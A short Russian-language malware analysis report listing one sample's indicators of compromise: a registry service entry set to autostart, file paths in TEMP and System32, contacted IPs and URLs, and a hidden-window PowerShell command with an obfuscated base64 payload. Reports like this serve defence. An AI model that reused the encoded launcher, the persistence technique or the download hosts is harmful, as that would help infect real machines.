Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\IdListen] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\IdListen] 'ImagePath' = '"<SYSTEM32>\KBDJPN\IdListen.exe"'
- 'IdListen' "<SYSTEM32>\KBDJPN\IdListen.exe"
- 'IdListen' <SYSTEM32>\KBDJPN\IdListen.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJADYAMAByAF8AaABjAD0AKAAnAEgAJwArACgAJwBlAHYAJwArACcANQA2ADYAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdABFAE0AcABcAHcAbwByAEQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\pohaen.exe
- <SYSTEM32>\kbdjpn\idlisten.exe
- %TEMP%\word\2019\pohaen.exe в <SYSTEM32>\kbdjpn\idlisten.exe
- '82.##9.200.118':80
- http://sa####amos.com.br/PLcbM/4oxcev0320/
- http://82.##9.200.118/KDg3s85Jr/Nj7UR/kZBhmRh2xc1tPvDFZy/8OtqHTQIZUxCDE0tNt/d2TEaH9OIiPZ/Pfmq7dDzUPVMtjP/
- DNS ASK sa####amos.com.br
- '%TEMP%\word\2019\pohaen.exe'
- '<SYSTEM32>\kbdjpn\idlisten.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJADYAMAByAF8AaABjAD0AKAAnAEgAJwArACgAJwBlAHYAJwArACcANQA2ADYAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdABFAE0AcABcAHcAbwByAEQAXAAyADAAMQA5AF...' (со скрытым окном)